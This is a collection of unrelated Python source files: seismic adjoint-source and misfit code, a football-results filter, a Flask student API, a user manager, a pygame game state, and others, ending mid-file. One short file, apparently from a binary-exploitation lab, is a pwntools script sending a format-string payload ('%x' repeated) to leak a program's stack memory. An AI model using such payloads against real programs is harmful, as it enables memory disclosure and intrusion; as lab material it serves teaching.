        :param min_sn_ratio: Minimum signal to noise ratio
        :type min_sn_ratio: float

        """
        from scipy.integrate import simps
        from lasif.utils import select_component_from_stream
        from tqdm import tqdm
        import multiprocessing
        import warnings
        warnings.filterwarnings("ignore")
        event = self.comm.events.get(event)
        global _process

        # Get the ASDF filenames.
        processed_filename = self.comm.waveforms.get_asdf_filename(
            event_name=event["event_name"],
            data_type="processed",
            tag_or_iteration=self.comm.waveforms.preprocessing_tag,
        )
        synthetic_filename = self.comm.waveforms.get_asdf_filename(
            event_name=event["event_name"],
            data_type="synthetic",
            tag_or_iteration=iteration,
        )

        def _process(station):
            ds = pyasdf.ASDFDataSet(processed_filename, mode="r", mpi=False)
            ds_synth = pyasdf.ASDFDataSet(synthetic_filename, mode="r",
                                          mpi=False)
            observed_station = ds.waveforms[station]
            synthetic_station = ds_synth.waveforms[station]

            # print(observed_station, synthetic_station)
            obs_tag = observed_station.get_waveform_tags()
            syn_tag = synthetic_station.get_waveform_tags()

            misfits = {}
            try:
                # Make sure both have length 1.
                assert len(obs_tag) == 1, (
                        "Station: %s - Requires 1 observed waveform tag. Has %i."
                        % (observed_station._station_name, len(obs_tag))
                )
                assert len(syn_tag) == 1, (
                        "Station: %s - Requires 1 synthetic waveform tag. Has %i."
                        % (observed_station._station_name, len(syn_tag))
                )
            except AssertionError:
                return {station: misfits}

            obs_tag = obs_tag[0]
            syn_tag = syn_tag[0]

            # Finally get the data.
            st_obs = observed_station[obs_tag]
            st_syn = synthetic_station[syn_tag]

            # Process the synthetics. This makes sure the starttime is the same
            st_syn = self.comm.waveforms.process_synthetics(
                st=st_syn.copy(),
                event_name=event["event_name"],
                iteration=iteration,
            )

            for component in ["E", "N", "Z"]:
                try:
                    data_tr = select_component_from_stream(st_obs, component)
                    synth_tr = select_component_from_stream(st_syn, component)
                    synth_tr.interpolate(sampling_rate=data_tr.stats.sampling_rate)
                    data_tr.trim(endtime=synth_tr.stats.endtime)
                    synth_tr.trim(endtime=data_tr.stats.endtime)
                except LASIFNotFoundError:
                    continue

                # Skip to skip case, where this explodes
                if data_tr.data.ptp() == 0 or synth_tr.data.ptp() == 0:
                    continue

                # Normalize amplitudes to avoid strong influences by amplitudes
                # due to source or propagation distance.
                data_tr.data /= data_tr.data.ptp()
                synth_tr.data /= synth_tr.data.ptp()

                first_tt_arrival = np.where(np.abs(synth_tr.data) >
                                            5e-3 * np.max(np.abs(synth_tr.data)))[0][0]
                idx_end = int(0.8 * first_tt_arrival)
                idx_end = max(idx_end, 1)  # ensure at least 1 sample is available
                idx_start = 0

                if idx_start >= idx_end:
                    idx_start = max(0, idx_end - 10)

                abs_data = np.abs(data_tr.data)

                # Return empty window when no data is available
                if np.max(abs_data) == 0.0 or np.max(np.abs(synth_tr.data)) == 0.0:
                    continue

                noise_absolute = abs_data[idx_start:idx_end].max()
                noise_relative = noise_absolute / abs_data.max()

                if noise_relative > min_sn_ratio:
                    continue

                diff = data_tr.data - synth_tr.data
                misfit = 0.5 * simps(y=diff ** 2, dx=data_tr.stats.delta)
                misfits[data_tr.id] = {
                    "misfit": misfit,
                }

            misfit_dict = {station: misfits}
            return misfit_dict

        ds = pyasdf.ASDFDataSet(processed_filename, mode="r", mpi=False)

        # Generate task list
        task_list = ds.waveforms.list()

        # Use at most num_processes
        number_processes = min(num_processes, multiprocessing.cpu_count())

        with multiprocessing.Pool(number_processes) as pool:
            results = {}
            with tqdm(total=len(task_list)) as pbar:
                for i, r in enumerate(pool.imap_unordered(_process, task_list)):
                    pbar.update()
                    k, v = r.popitem()
                    results[k] = v

            pool.close()

        misfit = 0.0
        for station in results.keys():
            for trace in results[station].keys():
                misfit += results[station][trace]["misfit"]

        print("\nTotal event misfit: ", misfit)
        return misfit

    def calculate_adjoint_sources_multiprocessing(
            self,
            event: str,
            iteration: str,
            window_set_name: str,
            num_processes: int,
            plot: bool = False,
            **kwargs,
    ):
        """
        Calculate adjoint sources based on the type of misfit defined in
        the lasif config file.
        The computed misfit for each station is also written down into
        a misfit toml file.
        This function uses multiprocessing for parallelization

        :param event: Name of event
        :type event: str
        :param iteration: Name of iteration
        :type iteration: str
        :param window_set_name: Name of window set
        :type window_set_name: str
        :param num_processes: The number of processes used in multiprocessing
        :type num_processes: int
        :param plot: Should the adjoint source be plotted?, defaults to False
        :type plot: bool, optional
        """
        from lasif.utils import select_component_from_stream
        from tqdm import tqdm
        import multiprocessing
        import warnings
        warnings.filterwarnings("ignore")

        # Globally define the processing function. This is required to enable
        # pickling of a function within a function. Alternatively, a solution
        # can be found that does not utilize a function within a function.
        global _process
        event = self.comm.events.get(event)

        # Get the ASDF filenames.
        processed_filename = self.comm.waveforms.get_asdf_filename(
            event_name=event["event_name"],
            data_type="processed",
            tag_or_iteration=self.comm.waveforms.preprocessing_tag,
        )
        synthetic_filename = self.comm.waveforms.get_asdf_filename(
            event_name=event["event_name"],
            data_type="synthetic",
            tag_or_iteration=iteration,
        )

        if not os.path.exists(processed_filename):
            msg = "File '%s' does not exists." % processed_filename
            raise LASIFNotFoundError(msg)

        if not os.path.exists(synthetic_filename):
            msg = "File '%s' does not exists." % synthetic_filename
            raise LASIFNotFoundError(msg)

        all_windows = self.comm.windows.read_all_windows(
            event=event["event_name"], window_set_name=window_set_name
        )

        if len(all_windows.keys()) == 0:
            raise Exception(f"No windows where found for event "
                            f"{event['event_name']} in window set "
                            f"{window_set_name}.")

        process_params = self.comm.project.simulation_settings

        def _process(station):
            ds = pyasdf.ASDFDataSet(processed_filename, mode="r", mpi=False)
            ds_synth = pyasdf.ASDFDataSet(synthetic_filename, mode="r",
                                          mpi=False)
            observed_station = ds.waveforms[station]
            synthetic_station = ds_synth.waveforms[station]

            # print(observed_station, synthetic_station)
            obs_tag = observed_station.get_waveform_tags()
            syn_tag = synthetic_station.get_waveform_tags()

            adjoint_sources = {}
            try:
                # Make sure both have length 1.
                assert len(obs_tag) == 1, (
                        "Station: %s - Requires 1 observed waveform tag. Has %i."
                        % (observed_station._station_name, len(obs_tag))
                )
                assert len(syn_tag) == 1, (
                        "Station: %s - Requires 1 synthetic waveform tag. Has %i."
                        % (observed_station._station_name, len(syn_tag))
                )
            except AssertionError:
                return {station: adjoint_sources}

            obs_tag = obs_tag[0]
            syn_tag = syn_tag[0]

            # Finally get the data.
            st_obs = observed_station[obs_tag]
            st_syn = synthetic_station[syn_tag]

            # Process the synthetics.
            st_syn = self.comm.waveforms.process_synthetics(
                st=st_syn.copy(),
                event_name=event["event_name"],
                iteration=iteration,
            )

            ad_src_type = self.comm.project.optimization_settings[
                "misfit_type"
            ]
            if ad_src_type == "weighted_waveform_misfit":
                env_scaling = True
                ad_src_type = "waveform_misfit"
            else:
                env_scaling = False

            for component in ["E", "N", "Z"]:
                try:
                    data_tr = select_component_from_stream(st_obs, component)
                    synth_tr = select_component_from_stream(st_syn, component)
                    synth_tr.interpolate(sampling_rate=data_tr.stats.sampling_rate)
                    synth_tr.trim(endtime=data_tr.stats.endtime)
                    data_tr.trim(endtime=synth_tr.stats.endtime)
                except LASIFNotFoundError:
                    continue

                if self.comm.project.simulation_settings[
                        "scale_data_to_synthetics"]:
                    if (not self.comm.project.optimization_settings[
                                "misfit_type"] == "envelope_misfit"):
                        scaling_factor = (
                                synth_tr.data.ptp() / data_tr.data.ptp()
                        )
                        # Store and apply the scaling.
                        data_tr.stats.scaling_factor = scaling_factor
                        data_tr.data *= scaling_factor

                net, sta, cha = data_tr.id.split(".", 2)
                station = net + "." + sta

                if station not in all_windows:
                    continue
                if data_tr.id not in all_windows[station]:
                    continue
                # Collect all.
                windows = all_windows[station][data_tr.id]
                try:
                    # for window in windows:
                    asrc = calculate_adjoint_source(
                        observed=data_tr,
                        synthetic=synth_tr,
                        window=windows,
                        min_period=process_params["minimum_period_in_s"],
                        max_period=process_params["maximum_period_in_s"],
                        adj_src_type=ad_src_type,
                        window_set=window_set_name,
                        taper_ratio=0.15,
                        taper_type="cosine",
                        plot=plot,
                        envelope_scaling=env_scaling,
                    )
                except:
                    # Either pass or fail for the whole component.
                    continue

                if not asrc:
                    continue
                # Sum up both misfit, and adjoint source.
                misfit = asrc.misfit
                adj_source = asrc.adjoint_source.data

                adjoint_sources[data_tr.id] = {
                    "misfit": misfit,
                    "adj_source": adj_source,
                }
            adj_dict = {station: adjoint_sources}
            return adj_dict

        ds = pyasdf.ASDFDataSet(processed_filename, mode="r", mpi=False)

        # Generate task list
        task_list = ds.waveforms.list()

        # Use at most num_processes
        number_processes = min(num_processes, multiprocessing.cpu_count())

        with multiprocessing.Pool(number_processes) as pool:
            results = {}
            with tqdm(total=len(task_list)) as pbar:
                for i, r in enumerate(pool.imap_unordered(_process, task_list)):
                    pbar.update()
                    k, v = r.popitem()
                    results[k] = v

            pool.close()
            pool.join()

        # Write adjoint sources
        filename = self.get_filename(
            event=event["event_name"], iteration=iteration
        )
        long_iter_name = self.comm.iterations.get_long_iteration_name(
            iteration
        )
        misfit_toml = self.comm.project.paths["iterations"]
        toml_filename = misfit_toml / long_iter_name / "misfits.toml"

        ad_src_counter = 0
        if os.path.exists(toml_filename):
            iteration_misfits = toml.load(toml_filename)
            if event["event_name"] in iteration_misfits.keys():
                iteration_misfits[event["event_name"]][
                    "event_misfit"
                ] = 0.0
            with open(toml_filename, "w") as fh:
                toml.dump(iteration_misfits, fh)

        print("Writing adjoint sources...")
        with pyasdf.ASDFDataSet(filename=filename, mpi=False, mode="a") as bs:
            if toml_filename.exists():
                iteration_misfits = toml.load(toml_filename)
                if event["event_name"] in iteration_misfits.keys():
                    total_misfit = iteration_misfits[
                        event["event_name"]
                    ]["event_misfit"]
                else:
                    iteration_misfits[event["event_name"]] = {}
                    iteration_misfits[event["event_name"]][
                        "stations"
                    ] = {}
                    total_misfit = 0.0
            else:
                iteration_misfits = {}
                iteration_misfits[event["event_name"]] = {}
                iteration_misfits[event["event_name"]]["stations"] = {}
                total_misfit = 0.0
            for value in results.values():
                if not value:
                    continue
                station_misfit = 0.0
                for c_id, adj_source in value.items():
                    net, sta, loc, cha = c_id.split(".")

                    bs.add_auxiliary_data(
                        data=adj_source["adj_source"],
                        data_type="AdjointSources",
                        path="%s_%s/Channel_%s_%s"
                             % (net, sta, loc, cha),
                        parameters={"misfit": adj_source["misfit"]},
                    )
                    station_misfit += adj_source["misfit"]
                    station_name = f"{net}.{sta}"
                iteration_misfits[event["event_name"]]["stations"][
                    station_name
                ] = float(station_misfit)
                ad_src_counter += 1
                total_misfit += station_misfit
            iteration_misfits[event["event_name"]][
                "event_misfit"
            ] = float(total_misfit)
            with open(toml_filename, "w") as fh:
                toml.dump(iteration_misfits, fh)

        with pyasdf.ASDFDataSet(
                filename=filename, mpi=False, mode="a"
        ) as ds:
            length = len(ds.auxiliary_data.AdjointSources.list())
        print(f"{length} Adjoint sources are in your file.")

    def finalize_adjoint_sources(
        self, iteration_name: str, event_name: str, weight_set_name: str = None
    ):
        """
        Work with adjoint source in a way that it is written down properly
        into an hdf5 file and prepared for being used as a source time
        function.
        The misfit values and adjoint sources are multiplied by the
        weight of the event and the station.

        :param iteration_name: Name of iteration
        :type iteration_name: str
        :param event_name: Name of event
        :type event_name: str
        :param weight_set_name: Name of station weights, defaults to None
        :type weight_set_name: str, optional
        """
        import pyasdf
        import h5py
        print("Finalizing adjoint sources...")
        # This will do stuff for each event and a single iteration
        # Step one, read adj_src file that should have been created already
        iteration = self.comm.iterations.get_long_iteration_name(
            iteration_name
        )

        adj_src_file = self.get_filename(event_name, iteration)

        ds = pyasdf.ASDFDataSet(adj_src_file, mpi=False)
        adj_srcs = ds.auxiliary_data["AdjointSources"]

        input_files_dir = self.comm.project.paths["adjoint_sources"]

        receivers = self.comm.query.get_all_stations_for_event(event_name)

        output_dir = os.path.join(input_files_dir, iteration, event_name)
        if not os.path.exists(output_dir):
            os.mkdir(output_dir)

        adjoint_source_file_name = os.path.join(output_dir, "stf.h5")

        f = h5py.File(adjoint_source_file_name, "w")

        event_weight = 1.0
        if weight_set_name is not None:
            ws = self.comm.weights.get(weight_set_name)
            event_weight = ws.events[event_name]["event_weight"]
            station_weights = ws.events[event_name]["stations"]
            computed_misfits = toml.load(self.get_misfit_file(iteration))

        for adj_src in adj_srcs:
            station_name = adj_src.auxiliary_data_type.split("/")[1]
            channels = adj_src.list()

            e_comp = np.zeros_like(adj_src[channels[0]].data[()])
            n_comp = np.zeros_like(adj_src[channels[0]].data[()])
            z_comp = np.zeros_like(adj_src[channels[0]].data[()])

            for channel in channels:
                # check channel and set component
                if channel[-1] == "E":
                    e_comp = adj_src[channel].data[()]
                elif channel[-1] == "N":
                    n_comp = adj_src[channel].data[()]
                elif channel[-1] == "Z":
                    z_comp = adj_src[channel].data[()]
            zne = np.array((z_comp, n_comp, e_comp))
            for receiver in receivers.keys():
                station = receiver.replace(".", "_")
                # station = receiver["network"] + "_" + receiver["station"]

                if station == station_name:
                    # transform_mat = np.array(receiver["transform_matrix"])
                    # xyz = np.dot(transform_mat.T, zne).T

                    # net_dot_sta = \
                    #    receiver["network"] + "." + receiver["station"]
                    if weight_set_name is not None:
                        weight = (
                            station_weights[receiver]["station_weight"]
                            * event_weight
                        )
                        zne *= weight
                        computed_misfits[event_name]["stations"][
                            receiver
                        ] *= weight

                    source = f.create_dataset(station, data=zne.T)
                    source.attrs["dt"] = self.comm.project.simulation_settings[
                        "time_step_in_s"
                    ]
                    source.attrs["sampling_rate_in_hertz"] = (
                        1 / source.attrs["dt"]
                    )

                    # source.attrs['location'] = np.array(
                    #    [receivers[receiver]["s"]])
                    source.attrs["spatial-type"] = np.string_("vector")
                    # Start time in nanoseconds
                    source.attrs[
                        "start_time_in_seconds"
                    ] = self.comm.project.simulation_settings[
                        "start_time_in_s"
                    ]

                    # toml_string += f"[[source]]\n" \
                    #               f"name = \"{station}\"\n" \
                    #               f"dataset_name = \"/{station}\"\n\n"
        if weight_set_name is not None:
            computed_misfits[event_name]["event_misfit"] = np.sum(
                np.array(
                    list(computed_misfits[event_name]["stations"].values())
                )
            )
            with open(self.get_misfit_file(iteration), "w") as fh:
                toml.dump(computed_misfits, fh)

        f.close()

    @staticmethod
    def _validate_return_value(adsrc):
        if not isinstance(adsrc, dict):
            return False
        elif sorted(adsrc.keys()) != [
            "adjoint_source",
            "details",
            "misfit_value",
        ]:
            return False
        elif not isinstance(adsrc["adjoint_source"], np.ndarray):
            return False
        elif not isinstance(adsrc["misfit_value"], float):
            return False
        elif not isinstance(adsrc["details"], dict):
            return False
        return True


#!/usr/bin/env python
# coding: utf-8

# In[1]:

import os
import re
import time
import pandas as pd
import numpy as np
from datetime import datetime, date, timedelta

# ігнорування попередження SettingWithCopyWarning
pd.set_option('mode.chained_assignment', None)

# In[3]:

# конвертування строчки дати в формат дати
# d, m, y = [int(x) for x in df.at[0, "Date"].split("/")]
# a = date(y, m, d)
# a
# date(2023, 5, 9).isoweekday() == 2  # первірка дати на вівторок

# In[101]:

list_columns =   [
        "Date",
        "HomeTeam",
        "AwayTeam",
        "rez_h_full",
        "rez_a_full",
        "rez_h_first",
        "rez_a_first",
        "h_first",
        "h_full",
        "a_first",
        "a_full",
    ]
# funcs

def get_team_results(
                    h_team_name: str,
                    a_team_name: str,
                    matches_before: pd.DataFrame,
                    ) -> tuple[int, int, int, int] :
    """
    отримання результатів команд, останнього матчу
    повертає список з 4 чисел, різниці забитих мячів
      - дом. команди в першому таймі,
      - дом. команди в повному матчі,
      - гост. команди в першому таймі,
      - гост. команди в повному матчі,
    """
    h_team_match = matches_before[
                        (matches_before["HomeTeam"] == h_team_name) |
                        (matches_before["AwayTeam"] == h_team_name)
                    ].tail(1)

    a_team_match = matches_before[
                        (matches_before["HomeTeam"] == a_team_name) |
                        (matches_before["AwayTeam"] == a_team_name)
                    ].tail(1)

    h_first = (
                    int(h_team_match.at[h_team_match.index[0], "HTHG"]) -
                    int(h_team_match.at[h_team_match.index[0], "HTAG"])
                )

    h_full = (
                    int(h_team_match.at[h_team_match.index[0], "FTHG"]) -
                    int(h_team_match.at[h_team_match.index[0], "FTAG"])
                )

    h_first = h_first if h_team_name in h_team_match["HomeTeam"].values else -h_first
    h_full = h_full if h_team_name in h_team_match["HomeTeam"].values else -h_full

    a_first = (
                    int(a_team_match.at[a_team_match.index[0], "HTHG"]) -
                    int(a_team_match.at[a_team_match.index[0], "HTAG"])
                )

    a_full = (
                    int(a_team_match.at[a_team_match.index[0], "FTHG"]) -
                    int(a_team_match.at[a_team_match.index[0], "FTAG"])
                )
    a_first = a_first if a_team_name in a_team_match["HomeTeam"].values else -a_first
    a_full = a_full if a_team_name in a_team_match["HomeTeam"].values else -a_full

    return (
        h_first,
        h_full,
        a_first,
        a_full,
    )

def get_rez_data_df(df_data):
    rez_data = []
    for ind in df_data.index:
        current_match = df_data.loc[ind]
        matches_before = df_data.loc[:ind-1]
        h_team_name = current_match["HomeTeam"]
        a_team_name = current_match["AwayTeam"]
        if (
            (h_team_name in matches_before["HomeTeam"].values or
                     h_team_name in matches_before["AwayTeam"].values) and
            (a_team_name in matches_before["HomeTeam"].values or
                     a_team_name in matches_before["AwayTeam"].values)
        ):
            h_first, h_full, a_first, a_full = get_team_results(
                                                         h_team_name,
                                                         a_team_name,
                                                        matches_before
                                                        )

            data_row = [
                *current_match.values,
                h_first,
                h_full,
                a_first,
                a_full
            ]
            rez_data.append(data_row)
    return rez_data

def get_clean_data_df(df):
    df.loc[:, "Date"] =  [date.fromisoformat("-".join(x.split("/")[::-1]))  for x in df.loc[:, "Date"].values]
    df = df[df["Date"] < date.today()]
    df.sort_values(by=["Date"], ascending=True, inplace=True, ignore_index=True)
    df_data = df.loc[:, ["Date", "HomeTeam", "AwayTeam", "FTHG", "FTAG", "HTHG", "HTAG"]]

    clean_data = pd.DataFrame(
                            data=get_rez_data_df(df_data),
                            columns=list_columns
                )
    return clean_data, df_data

def get_near_last_tuesday(target_date):
    near_tuesday = target_date
    while near_tuesday.isoweekday() != 2:
        near_tuesday -= timedelta(days=1)

    return near_tuesday

# In[116]:

def get_total_work(clean_data, old_data, team_names):

    tuesday = get_near_last_tuesday(date.today())

    work_df = clean_data[
        (clean_data["Date"] >= tuesday - timedelta(days=14)) &
        (clean_data["Date"] < tuesday)
    ]

    # минулі результати
    work_df["index"] = work_df.index
    work_df_np = work_df[[
                            "h_first", "h_full",
                            "a_first", "a_full",
                            "rez_h_full", "rez_a_full", "rez_h_first", "rez_a_first",
                            "index"
                ]].to_numpy()

    #     filtred_work_df_np = work_df_np[
#         work_df_np[:, 6] == work_df_np[:, 7]  # нічья перший тайм
# #             work_df_np[:,6] + work_df_np[:, 7] > 1.5  # тб 1.5  перший тайм
#     ]
#     if filtred_work_df_np.shape[0] == 0:
#         print("немає нічьї за останні дві неділі в перших таймах")
#         return

    for h_name, a_name in team_names:
        h_first_target, h_full_target, a_first_target, a_full_target = get_team_results(
                                                         h_name,
                                                         a_name,
                                                        old_data
                                                        )
        print(f"останні резульати команд - {h_name} - {a_name}")
        print(h_first_target, h_full_target, a_first_target, a_full_target)
        print()

        filtred_work_df_np =  work_df_np[
                    (work_df_np[:, 0] == h_first_target)
#                     &
#                     (work_df_np[:, 1] == h_full_target)
                    &
                    (work_df_np[:, 2] == a_first_target)
#                     &(work_df_np[:, 3] == a_full_target)
                ]
        if not filtred_work_df_np.shape[0] >= 2:
            print("за останні дві неділі в перших таймах меньше двух співпадінь")
            continue

        win_df_np_shape = filtred_work_df_np[
#                     filtred_work_df_np[:, 4] == filtred_work_df_np[:, 5]
    #                 filtred_work_df_np[:, 4] <= filtred_work_df_np[:, 5]
    #                 filtred_work_df_np[:, 4] +  filtred_work_df_np[:, 5] < 3.5
#                     (filtred_work_df_np[:, 4] > 0.5) & (filtred_work_df_np[:, 5] > 0.5)

    #                 first time
            filtred_work_df_np[:, 6] == filtred_work_df_np[:, 7]
    #                 filtred_work_df_np[:, 6] != filtred_work_df_np[:, 7]
#                     filtred_work_df_np[:,6] + filtred_work_df_np[:, 7] < 0.5
#                     filtred_work_df_np[:,6] + filtred_work_df_np[:, 7] > 1.5
            ].shape[0]
        lose_df_np_shape = filtred_work_df_np.shape[0] - win_df_np_shape

#         if not lose_df_np_shape == 0:
        if not win_df_np_shape > lose_df_np_shape:

            print("result - no")
            continue
        print("result - yes")

# In[122]:

def main_work(df, team_names: list[tuple]):

    clean_data, old_data = get_clean_data_df(df)

    rez_dict = get_total_work(clean_data, old_data, team_names)

# In[121]:

if __name__ == "__main__":
    df = pd.read_csv("./old_data/some_test.csv")
    main_work(df, [("Канберра Олимпик", "Гангалин"),])


from pwn import *

def exploit(pathname: str) -> None:

    # process
    p = process(pathname)
    p.sendline(b'AAAA' + b'%x'*62)
    response = p.recv().decode()
    print(response)
    return

if __name__ == '__main__':

    pathname = '../../src/fs/Additional/memory_read'
    exploit(pathname)

Security Verification and Testing/LAB03 - Binary Exploitation/Scripts/fs/memory_read_solver.py


# 2. Design automation script which accept directory name and two file extensions from user.
# Rename all files with first file extension with the second file extenntion.
#  Usage : DirectoryRename.py “Demo” “.txt” “.doc”
#
from sys import *;
from os import *;

def directary(path,ext,remove_ext):
	print("path name=",path);
	for folders,subfolder,files in walk(path):
		print("Folder name=",folders);
		for file in files:

			a=file.split('.')[-1]
			if remove_ext in a:
				base = path.split(file)[0]
				rename(file, base + ".aln")

def main():
	if len(argv)>4:
		print("Argument incorrect")

	path=argv[1]
	ext=argv[2]
	remove_ext=argv[3]
	directary(path,ext,remove_ext)

if __name__=="__main__":
	main();


from flask import Flask,request,jsonify

alumnos = []
campos = ("name", "courses")
app = Flask(__name__)
app.config['JSON_SORT_KEYS'] = False

@app.route("/")
def test():
	return jsonify({"mensaje":"Error, servicio en localhost:7001/student"}),404

@app.route("/student", methods=['GET'])
def mostrar_alumnos():
	return jsonify({"students":alumnos}),200

@app.route('/student/<int:dato_id>', methods=['GET'])
def get_uno(dato_id):
	try:
		return jsonify(alumnos[dato_id]),200
	except IndexError:
		return jsonify({"Mensaje":"Error, no se encuentra ese dato"}),404

@app.route('/student', methods=['POST'])
def post_alumno():
	# POST desde el cliente , tomo con request
	try:
		body = request.get_json() # obtener el contenido de lo que envio el cliente
	except Exception:
		return jsonify({"Mensaje":"Bad Request"}),400
	for key in body:
		if key not in campos:
			return jsonify({"Mensaje":"Bad Request"}),400
	nuevo = {"id":len(alumnos),"nombre":body["name"],"cursos":body["courses"]}
	alumnos.append(nuevo)
	return jsonify({"id":nuevo["id"]}),201

@app.route('/student/<int:dato_id>', methods=['PUT'])
def put_alumno(dato_id):
	# PUT desde el cliente, tomo con request
	try:
		body = request.get_json() # obtener el contenido de lo que envio el cliente para modificar
	except Exception:
		return jsonify({"Mensaje":"Bad Request"}),400
	try:
		if "name" in body and "courses" in body:
			alumnos[dato_id]["nombre"] = body["name"]
			alumnos[dato_id]["cursos"] = body["courses"]
			return jsonify({"Mensaje":"Modificado"}),204
		elif "name" in body:
			alumnos[dato_id]["nombre"] = body["name"]
			return jsonify({"Mensaje":"Modificado"}),204
		elif "courses" in body:
			alumnos[dato_id]["cursos"] = body["courses"]
			return jsonify({"Mensaje":"Modificado"}),204
		else:
			return jsonify({"Mensaje":"No existe el campo"}),204
	except IndexError:
		return jsonify({"Mensaje":"No existe ese id"}),404

@app.route("/student/<int:dato_id>", methods=["DELETE"])
def delete_alumno(dato_id):
	try:
		#borro alumno id
		del alumnos[dato_id]
		#actualizar los id´s
		for n in range(0,len(alumnos)):
			alumnos[n]["id"]= n
		return jsonify({"Mensaje": "Borrado"}), 204
	except IndexError:
		return jsonify({"Mensaje": "Error, no se encontro"}), 202

app.run("localhost",port="7001")


from app.models import User, UserColumn
from app import db
from datetime import datetime
from werkzeug.utils import secure_filename

class UserManager():

    def addUser(self, form):
        if isinstance(form.face.data, str):
            face = ''
        else:
            face = secure_filename(form.face.data.filename)

        user = User(login = form.login.data,
                        email = form.email.data,
                        firstName = form.firstName.data,
                        lastName = form.lastName.data,
                        city = form.city.data,
                        state = form.stateSelect.data,
                        country = form.countrySelect.data,
                        face = face,
                        order_by = 'title',
                        order_dir = 'asc',
                        admin = 'F',
                        as_login  =  form.login.data,
                        user_since  =  datetime.utcnow(),
                        last_visit = datetime.utcnow())
        user.set_password(form.password.data)
        db.session.add(user)
        return user

class UserColumnManager():
    def addUserColumns(self, user_type, user_id):
        dfltColumns = UserColumn.query.filter(UserColumn.user_type == user_type,  UserColumn.user_id == 1).order_by(UserColumn.srt).all()
        for dfltColumn in dfltColumns:
            newColumn = UserColumn(
                    user_type = user_type,
                    user_id = user_id,
                    name = dfltColumn.name,
                    label = dfltColumn.label,
                    displayType = dfltColumn.displayType,
                    cols = dfltColumn.cols,
                    rows = dfltColumn.rows,
                    dataFormat = dfltColumn.dataFormat,
                    vis = dfltColumn.vis,
                    srt = dfltColumn.srt)

            db.session.add(newColumn)


from typing import Dict, TYPE_CHECKING

from vectormath import Vector2
import pygame.locals as pyg_locals
from pygame import Rect
from pygame.freetype import SysFont

if TYPE_CHECKING:
    from pygame.event import EventType
    from pygame import Surface

from ..engine.core.state_machine import GameState
from ..engine.core.ecs import EntityManager
from ..engine.core.ecs.types import System, SystemName
from .components import (ImageComponent, ScreenPosComponent2D, PositionComponent2D, SimpleHitboxComponent2D, ComplexHitboxComponent2D,
                         AbsoluteDirectionalMovementComponent2D, PhysicsComponent2D, DrawSystemFlagsComponent, ScreenTextComponent,
                         EntityLabelComponent, TextLinkedComponent, MovementFlagsComponent2D)

class CombatState(GameState):
    def __init__(self) -> None:
        super().__init__("CombatState")

    def setup(self, entity_manager: EntityManager, systems: Dict[SystemName, System]) -> None:
        # Creating the text on screen
        # Player coords
        text_coords = (0, 0)
        text_content = "Player coords || x: {} | y: {}"
        # TODO: Figure out how to handle the text component and its position
        new_text_components = {
            "ScreenPosComponent2D": ScreenPosComponent2D(Rect(*text_coords, 1, 1)),
            "ScreenTextComponent": ScreenTextComponent(template=text_content,
                                                       font_obj=SysFont(None, 16)),
            "EntityLabelComponent": EntityLabelComponent("player_position")
        }
        new_text_id = entity_manager.create_entity(new_text_components, instantiated=True)

        # Player forces|acceleration|velocity
        text_coords1 = (0, 20)
        text_content1 = "Player physics || Forces: ({fx:.2f}, {fy:.2f}) | Acceleration: ({ax:.2f}, {ay:.2f}) | Velocity: ({vx:.2f}, {vy:.2f}) | Max Velocity: ({mvx}, {mvy}) | Mass: {m:.2f}"
        # TODO: Figure out how to handle the text component and its position
        new_text_components1 = {
            "ScreenPosComponent2D": ScreenPosComponent2D(Rect(*text_coords1, 1, 1)),
            "ScreenTextComponent": ScreenTextComponent(template=text_content1,
                                                       font_obj=SysFont(None, 16)),
            "EntityLabelComponent": EntityLabelComponent("player_physics")
        }
        new_text_id1 = entity_manager.create_entity(new_text_components1, instantiated=True)

        # Creating the player entity
        player_width, player_height = 50, 25
        player_corner_start_pos = (0, 0)

        player_start_pos = (0 + player_width / 2, 0 + player_height / 2)

        player_movement_force_vectors = {
            pyg_locals.K_UP    : Vector2( 0,-1000 ),
            pyg_locals.K_DOWN  : Vector2( 0, 1000 ),
            pyg_locals.K_RIGHT : Vector2( 1000, 0 ),
            pyg_locals.K_LEFT  : Vector2(-1000, 0 )
        }

        player_mass = 50  # 50 kg
        # player_max_velocity = Vector2(10, 10)  # 10 m/s
        player_max_velocity = None

        player_text_links = {
            "player_position": new_text_id,
            "player_physics": new_text_id1
        }

        new_player_components = {
            "ImageComponent": ImageComponent(systems["AssetsManagerSystem"].images["TEST_SPACESHIP"]),
            "ScreenPosComponent2D": ScreenPosComponent2D(Rect(player_corner_start_pos, (player_width, player_height))),
            "PositionComponent2D": PositionComponent2D(player_start_pos),
            "ComplexHitboxComponent2D": ComplexHitboxComponent2D(),
            "AbsoluteDirectionalMovementComponent2D": AbsoluteDirectionalMovementComponent2D(player_movement_force_vectors),
            "PhysicsComponent2D": PhysicsComponent2D(player_mass, player_max_velocity),
            "DrawSystemFlagsComponent": DrawSystemFlagsComponent(),
            "EntityLabelComponent": EntityLabelComponent("player"),
            "TextLinkedComponent": TextLinkedComponent(links=player_text_links),
            "MovementFlagsComponent2D": MovementFlagsComponent2D()
        }
        new_player_id = entity_manager.create_entity(new_player_components, instantiated=True)

        systems["DrawSystem"].background_img = systems["AssetsManagerSystem"].images["TEST_BACKGROUND"]

    def cleanup(self, entity_manager: EntityManager, systems: Dict[SystemName, System]) -> None:
        # raise NotImplementedError
        entity_manager.remove_queued_entities()

    def handle_event(self, entity_manager: EntityManager, systems: Dict[SystemName, System], event: "EventType") -> None:
        if event.type == pyg_locals.KEYDOWN:
            systems["PlayerInputsHandlerCombatSystem"].handle_pygame_keydown_event(event)
        elif event.type == pyg_locals.KEYUP:
            systems["PlayerInputsHandlerCombatSystem"].handle_pygame_keyup_event(event)

    def update(self, entity_manager: EntityManager, systems: Dict[SystemName, System], dt: float) -> None:
        entity_manager.remove_queued_entities()
        for event in entity_manager.events.get():
            for system_obj in systems.values():
                system_obj.handle_event(entity_manager, event)
        systems["TextLinksSystem"].handle_text_links()
        systems["MovementApplySystem"].apply_movement_flags()
        systems["PhysicsSimulationSystem"].simulate_physics(entity_manager, dt)

    def draw(self, screen: "Surface", systems: Dict[SystemName, System]) -> None:
        systems["DrawSystem"].draw(screen)


import collections
import pprint
import time

from gensim.models.doc2vec import Doc2Vec, TaggedDocument
from gensim.models import KeyedVectors
from joblib import load
from nltk import word_tokenize, PorterStemmer
from nltk.corpus import stopwords

from algorithms.algorithm_utils import load_pickle, find_sub_matrix, recommend_restaurant
from algorithms.rating_based_algorithms import rating_recommend
from algorithms.text_based_algorithms import text_recommend
from users.models import UserReview, User

"""
This Python file provides some text-based algorithms: word2vec, Doc2vec and ....
Only support cosine similarity
"""

def test():
